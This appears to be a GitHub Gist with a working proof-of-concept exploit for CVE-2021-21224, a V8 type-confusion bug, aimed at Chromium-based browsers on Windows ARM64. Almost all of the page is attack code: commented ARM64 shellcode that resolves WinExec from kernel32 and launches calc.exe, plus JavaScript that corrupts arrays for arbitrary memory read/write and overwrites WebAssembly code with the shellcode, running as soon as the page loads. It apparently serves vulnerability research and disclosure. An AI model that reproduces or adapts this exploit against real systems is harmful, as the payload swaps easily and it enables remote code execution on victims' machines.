Last active
October 31, 2022 22:01
-
-
Save wdormann/bbf95c5ccebb826a1e21124cfb320106 to your computer and use it in GitHub Desktop.
Sample ARM64 PoC for CVE-2021-21224
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
function gc() { | |
for (var i = 0; i < 0x80000; ++i) { | |
var a = new ArrayBuffer(); | |
} | |
} | |
let shellcode = [ | |
// Move x18 to x28 (TEB) | |
// mov x28, x18 | |
0xfc, 0x03, 0x12, 0xaa, | |
// add 0x60 to the TEB address to get PEB | |
// add x28, x28, #0x60 | |
0x9c, 0x83, 0x01, 0x91, | |
// load PEB address into x27 | |
// ldr x27, [x28] | |
0x9b, 0x03, 0x40, 0xf9, | |
// Add 0x18 to PEB address to get PEB_LDR_DATA | |
// add, x27, x27, #0x18 | |
0x7b, 0x63, 0x00, 0x91, | |
// Load PEB_LDR_DATA into x27 | |
// ldr x27, [x27] | |
0x7b, 0x03, 0x40, 0xf9, | |
// Add 0x10 to PEB address to get LDR_MODULE InLoadOrder[0] | |
// add, x27, x27, #0x10 | |
0x7b, 0x43, 0x00, 0x91, | |
// Get to the first LDR_DATA_TABLE_ENTRY (msedge.exe itself) | |
// ldr x27, [x27] | |
0x7b, 0x03, 0x40, 0xf9, | |
// Get to the second LDR_DATA_TABLE_ENTRY (ntdll.dll) | |
// ldr x27, [x27] | |
0x7b, 0x03, 0x40, 0xf9, | |
// Get to the third LDR_DATA_TABLE_ENTRY (kernel32.dll) | |
// ldr x27, [x27] | |
0x7b, 0x03, 0x40, 0xf9, | |
// Add 0x30 to the LDR_DATA_TABLE_ENTRY address to get pointer to kernel32.dll load address | |
// add, x27, x27, #0x10 | |
0x7b, 0xc3, 0x00, 0x91, | |
// Dereference x27 into x28 | |
// ldr x28, [x27] | |
0x7c, 0x03, 0x40, 0xf9, | |
// Registers at this point: | |
// x28: Load address of kernel32.dll | |
// Load kernel32.dll + 0x3c into x27 (PE Offset) | |
// ldrb w27, [x28, #0x3c] | |
0x9b, 0xf3, 0x40, 0x39, | |
// Add PE Offset to kernel32.dll base | |
// add x27, x28, x27 | |
0x9b, 0x03, 0x1b, 0x8b, | |
//////////////////////////////////////////////////////// | |
// Registers at this point: | |
// x28: Load address of kernel32.dll | |
// x27: Address of PE header | |
//////////////////////////////////////////////////////// | |
// Add 0x88 to PE header to get to Export table, put in x27 | |
// Many tutorials say 0x78, but that's only valid for 32-bit platforms | |
// add x27, x27, #0x88 | |
0x7b, 0x23, 0x02, 0x91, | |
//////////////////////////////////////////////////////// | |
// Registers at this point: | |
// x28: Load address of kernel32.dll | |
// x27: Address of Data directory offset | |
//////////////////////////////////////////////////////// | |
// Virtual address of Exports table is first entry in Data directory | |
// Get offset of Exports table, and put into x26 (0x124450) | |
// ldr w26, [x27] | |
0x7a, 0x03, 0x40, 0xb9, | |
// Add offset of Exports table to base of kernel32.dll, put in x27 | |
// add x27, x28, x26 | |
0x9b, 0x03, 0x1a, 0x8b, | |
//////////////////////////////////////////////////////// | |
// Registers at this point: | |
// x28: Load address of kernel32.dll | |
// x27: Export Table | |
//////////////////////////////////////////////////////// | |
// Go 0x1c past beginning of table to get address of function address table, put in x19 | |
// add x19, x27, #0x1c | |
0x73, 0x73, 0x00, 0x91, | |
// Go 0x20 past beginning of table to get address of function name pointer table, put in x23 | |
// add x23, x27, #0x20 | |
0x77, 0x83, 0x00, 0x91, | |
// Go 0x24 past beginning of table to get address of function name pointer table, put in x15 | |
// add x15, x27, #0x24 | |
0x6f, 0x93, 0x00, 0x91, | |
//////////////////////////////////////////////////////// | |
// Registers at this point: | |
// x28: Load address of kernel32.dll | |
// x27: Export table (e.g. 00007ffb37ec4450) | |
// x23: Pointer to RVA of Name pointer table (e.g. 0007ffb37ec4470) | |
// x19: Pointer to RVA of Address pointer table (e.g. 00007ffb37ec446c) | |
// x15: Pointer to RVA of Ordinal table (e.g. 00007ffb37ec4474) | |
//////////////////////////////////////////////////////// | |
// Convert RVAs of our 3 pointer tables to actual addresses | |
// where kernel32.dll is loaded | |
// Get RVA of Name Pointer Table, and put into x26 (0x124450) | |
// ldr w26, [x23] | |
0xfa, 0x02, 0x40, 0xb9, | |
// Add RVA of Name Pointer table to base of kernel32.dll | |
// add x23, x28, x26 | |
0x97, 0x03, 0x1a, 0x8b, | |
// Get RVA of Function Pointer Table, and put into x26 (0x124450) | |
// ldr w26, [x19] | |
0x7a, 0x02, 0x40, 0xb9, | |
// Add RVA of Function Pointer table to base of kernel32.dll, put in x19 | |
// add x19, x28, x26 | |
0x93, 0x03, 0x1a, 0x8b, | |
// Get RVA of Function Pointer Table, and put into x26 (0x124450) | |
// ldr w26, [x15] | |
0xfa, 0x01, 0x40, 0xb9, | |
// Add RVA of Function Pointer table to base of kernel32.dll, put in x19 | |
// add x15, x28, x26 | |
0x8f, 0x03, 0x1a, 0x8b, | |
//////////////////////////////////////////////////////// | |
// Registers at this point: | |
// x28: Load address of kernel32.dll | |
// x27: Export table (e.g. 00007ffb37ec4450) | |
// x23: Name pointer table (e.g. 00007ffb37ec7814) | |
// x19: Address pointer table (e.g. 00007ffc6fec4478) | |
// x15: Ordinal table (e.g. 00007ffc6fec91c8) | |
//////////////////////////////////////////////////////// | |
// Load our string to look for "WinE" into x20 | |
// movz x20, #0x6957 | |
0xF4, 0x2a, 0x8d, 0xd2, | |
// movk x20, #0x456e, lsl #16 | |
0xd4, 0xad, 0xa8, 0xf2, | |
// Subtract 4 from x27 to prepare for stupid loop structure | |
// sub x23, x23, #4 | |
0xf7, 0x12, 0x00, 0xd1, | |
// subtract 1 from x0 to prepare for stupid loop structure | |
// sub x0, x0, #1 | |
0x00, 0x004, 0x00, 0xd1, | |
// Loop: | |
// Counter for exported functions | |
// add x0, x0, 1 | |
0x00, 0x04, 0x00, 0x91, | |
// Increment to next name in the list | |
// add x23, x23, 4 | |
0xf7, 0x12, 0x00, 0x91, | |
// Load first export name offset into x23 | |
// x23 points to beginning of export name table | |
// ldr w22, [x23] | |
0xf6, 0x02, 0x40, 0xb9, | |
// Apply offset to kernel32 base, put in x21 | |
// add x21, x28, x22 | |
0x95, 0x03, 0x16, 0x8b, | |
// Load the first 4 bytes of the export name into x20 | |
// ldr w16, [x21] | |
0xb0, 0x02, 0x40, 0xb9, | |
//cmp x16, x20 | |
0x1f, 0x02, 0x14, 0xeb, | |
// BNE loop | |
0x41, 0xff, 0xff, 0x54, | |
//////////////////////////////////////////////////////// | |
// Registers at this point: | |
// x28: Load address of kernel32.dll | |
// x27: Export table (e.g. 00007ffb37ec4450) | |
// x23: Name pointer table (e.g. 00007ffb37ec7814) | |
// x19: Address pointer table (e.g. 00007ffb37ec4478) | |
// x15: Ordinal table (e.g. 00007ffc6fec91c8) | |
// x0: Function number of WinExec() (0x622 / 1570) | |
//////////////////////////////////////////////////////// | |
// Convert function number to ordinal number. | |
// Usually they're the same. | |
// Move 2 into x3 | |
// mov x3, #2 | |
0x43, 0x00, 0x80, 0xd2, | |
// Multiply function number (x0) by 2 | |
// mul x0, x0, x3 | |
0x00, 0x7c, 0x03, 0x9b, | |
// Increment by offset (function number * 2) into Ordinal table | |
// add x15, x15, x0 | |
0xef, 0x01, 0x00, 0x8b, | |
// Put actual ordinal number into x0 | |
// ldrh w0, [x15] | |
0xe0, 0x01, 0x40, 0x79, | |
//////////////////////////////////////////////////////// | |
// Registers at this point: | |
// x28: Load address of kernel32.dll | |
// x27: Export table (e.g. 00007ffb37ec4450) | |
// x23: Name pointer table (e.g. 00007ffb37ec7814) | |
// x19: Address pointer table (e.g. 00007ffb37ec4478) | |
// x15: Ordinal table (e.g. 00007ffc6fec91c8) | |
// x0: Ordinal number of WinExec() (0x622 / 1570) | |
//////////////////////////////////////////////////////// | |
// To get the location of the address you want: | |
// Multiply the Ordinal * 4, and use that as the offset into the address table | |
// Move 4 into x2 | |
// mov x2, #4 | |
0x82, 0x00, 0x80, 0xd2, | |
// Multiply x0 (Ordinal) by x2 (4) | |
// mul x0, x0, x2 | |
0x00, 0x7c, 0x02, 0x9b, | |
//////////////////////////////////////////////////////// | |
// Registers at this point: | |
// x28: Load address of kernel32.dll | |
// x27: Export table (e.g. 00007ffb37ec4450) | |
// x23: Name pointer table (e.g. 00007ffb37ec7814) | |
// x19: Address pointer table (e.g. 00007ffb37ec4478) | |
// x15: Ordinal pointer table (e.g. 00007ffc6fec91c8) | |
// x0: RVA of WinExec (e.g. 0x1888) | |
//////////////////////////////////////////////////////// | |
// Increment Function address table by offest of WinExec() function | |
// add x19, x19, x0 | |
0x73, 0x02, 0x00, 0x8b, | |
// Get RVA of WinExec(), and put into x26 (0x124450) | |
// ldr w26, [x19] | |
0x7a, 0x02, 0x40, 0xb9, | |
// Add RVA of WinExec() to base of kernel32.dll, put in x8 | |
// add x8, x28, x26 | |
0x88, 0x03, 0x1a, 0x8b, | |
//////////////////////////////////////////////////////// | |
// Registers at this point: | |
// x28: Load address of kernel32.dll | |
// x27: Export table (e.g. 00007ffb37ec4450) | |
// x23: Name pointer table (e.g. 00007ffb37ec7814) | |
// x19: Address pointer table (e.g. 00007ffb37ec4478) | |
// x15: Ordinal pointer table (e.g. 00007ffc6fec91c8) | |
// x8: Address of WinExec() | |
// x0: RVA of WinExec | |
//////////////////////////////////////////////////////// | |
// Now that we have WinExec() in x8, prepare the call to it. | |
// We don't really care about existing registers other than x8 | |
// move sp into x9 | |
// Indexing into SP can be tricky due to alignment requirements | |
// mov, x9, sp | |
0xe9, 0x03, 0x00, 0x91, | |
// Increment x9 by 8 | |
// add, x9, x9, #8 | |
0x29, 0x21, 0x00, 0x91, | |
// Put CALC.EXE in x0 | |
// AC | |
// movz x0, #0x4143 | |
0x60, 0x28, 0x88, 0xD2, | |
// CL | |
// movk x0, #0x434c, lsl #16 | |
0x80, 0x69, 0xA8, 0xF2, | |
// E. | |
// movk x0, #0x452e, lsl #32 | |
0xc0, 0xa5, 0xC8, 0xF2, | |
// EX | |
// movk x0, #0x4558, lsl #48 | |
0x00, 0xab, 0xE8, 0xF2, | |
// put x0 on x9-stack | |
// str, x0, [x9], #8 | |
0x20, 0x85, 0x00, 0xF8, | |
// Terminate string with a null: | |
// Put null into x0 | |
// movz, x0, #0 | |
0x00, 0x00, 0x80, 0xD2, | |
// put x0 on x9-stack | |
// str x0, [x9], #8 | |
0x20, 0x85, 0x00, 0xF8, | |
// Put the pointer to "CALC.EXE\0" into x0 | |
// mov x0, x9 | |
0xe0, 0x03, 0x09, 0xaa, | |
// Ajust pointer to point to beginning of string | |
// sub, x0, 0x, #0x10 | |
0x00, 0x40, 0x00, 0xd1, | |
// put 0x1 in x1 (second argument to WinExec) | |
// movz x1, #0x01 | |
0x21, 0x00, 0x80, 0xd2, | |
// Call WinExec() | |
// jalr x8 | |
0x00, 0x01, 0x3F, 0xD6, | |
// Trigger crash | |
// ldr x11, [x10] | |
//0x4b, 0x01, 0x40, 0xf9, | |
// Infinite loop, because why not? | |
// 0x00, 0x00, 0x00, 0x14, | |
]; | |
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); | |
var wasmModule = new WebAssembly.Module(wasmCode); | |
var wasmInstance = new WebAssembly.Instance(wasmModule); | |
var main = wasmInstance.exports.main; | |
var bf = new ArrayBuffer(8); | |
var bfView = new DataView(bf); | |
function fLow(f) { | |
bfView.setFloat64(0, f, true); | |
return (bfView.getUint32(0, true)); | |
} | |
function fHi(f) { | |
bfView.setFloat64(0, f, true); | |
return (bfView.getUint32(4, true)) | |
} | |
function i2f(low, hi) { | |
bfView.setUint32(0, low, true); | |
bfView.setUint32(4, hi, true); | |
return bfView.getFloat64(0, true); | |
} | |
function f2big(f) { | |
bfView.setFloat64(0, f, true); | |
return bfView.getBigUint64(0, true); | |
} | |
function big2f(b) { | |
bfView.setBigUint64(0, b, true); | |
return bfView.getFloat64(0, true); | |
} | |
class LeakArrayBuffer extends ArrayBuffer { | |
constructor(size) { | |
super(size); | |
this.slot = 0xb33f; | |
} | |
} | |
function foo(a) { | |
let x = -1; | |
if (a) x = 0xFFFFFFFF; | |
var arr = new Array(Math.sign(0 - Math.max(0, x, -1))); | |
arr.shift(); | |
let local_arr = Array(2); | |
local_arr[0] = 5.1;//4014666666666666 | |
let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8 | |
arr[0] = 0x1122; | |
return [arr, local_arr, buff]; | |
} | |
for (var i = 0; i < 0x10000; ++i) | |
foo(false); | |
gc(); gc(); | |
[corrput_arr, rwarr, corrupt_buff] = foo(true); | |
corrput_arr[12] = 0x22444; | |
delete corrput_arr; | |
function setbackingStore(hi, low) { | |
rwarr[4] = i2f(fLow(rwarr[4]), hi); | |
rwarr[5] = i2f(low, fHi(rwarr[5])); | |
} | |
function leakObjLow(o) { | |
corrupt_buff.slot = o; | |
return (fLow(rwarr[9]) - 1); | |
} | |
let corrupt_view = new DataView(corrupt_buff); | |
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff); | |
let idx0Addr = corrupt_buffer_ptr_low - 0x10; | |
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000; | |
let delta = baseAddr + 0x1c - idx0Addr; | |
if ((delta % 8) == 0) { | |
let baseIdx = delta / 8; | |
this.base = fLow(rwarr[baseIdx]); | |
} else { | |
let baseIdx = ((delta - (delta % 8)) / 8); | |
this.base = fHi(rwarr[baseIdx]); | |
} | |
let wasmInsAddr = leakObjLow(wasmInstance); | |
setbackingStore(wasmInsAddr, this.base); | |
let code_entry = corrupt_view.getFloat64(13 * 8, true); | |
setbackingStore(fLow(code_entry), fHi(code_entry)); | |
for (let i = 0; i < shellcode.length; i++) { | |
corrupt_view.setUint8(i, shellcode[i]); | |
} | |
main(); | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment